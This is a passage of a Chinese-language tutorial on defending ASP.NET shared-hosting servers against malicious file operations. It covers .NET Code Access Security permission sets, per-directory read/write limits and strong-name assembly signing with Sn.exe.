  　　如果您今后需要利用这一功能或者有共享主机用户需要使用文件IO功能，那么您可以在Microsoft .NET Framework Configuration中将其加入代码，如果不能使其使用其他功能，可以仅仅设置一个只具有文件IO权限的权限集。如果是共享主机用户您还可以给他分配直接到其所使用的目录的全部读写权限，对于他的日志文档，您可以将读功能分配给用户。通过上边新建权限集时我们可以发现：权限集可以规定到每一个目录的读写权限，所以可以将用户锁定于其可以使用的目录中。当然对于共享主机提供商来说，最好的方法就是自己实现这些功能，然后配置权限系统使用户使用共享主机提供商的程序来实现他们的正常操作，而避免了恶意文件操作。
   
  　　需要注意的是如果分配给每一个单独的程序相应的权限时，我们最好使用强名称这一方式或者其他的可验证方式，强名称由程序集的标识--其简单文本名称、版本号和区域性信息（如果提供）--加上公钥和数字签名组成。这就需要我们使用Sn.exe 来设置密钥、签名和签名验证。强名称保证了程序是开发人员开发的并且没有被改动。
   
  　　在进行上面的设置之后，管理员可以根据用户的各种需求来设置不同的代码集和权限集。
   
  　　我们已经简单的介绍了一下ASP.NET中关于文件IO系统的漏洞的防治方法，这一方法有些繁琐，但是却可以从根本上杜绝一些漏洞，由于.NET的JIT（运行时编译）和IL（中间语言），.NET可以在程序编译时检查程序的安全性设置，所以能从根本上防止一些非法访问。.NET的代码安全性的内容很全面，我们讨论的只是很少的一部分，更多的功能需要大家共同来探索、学习。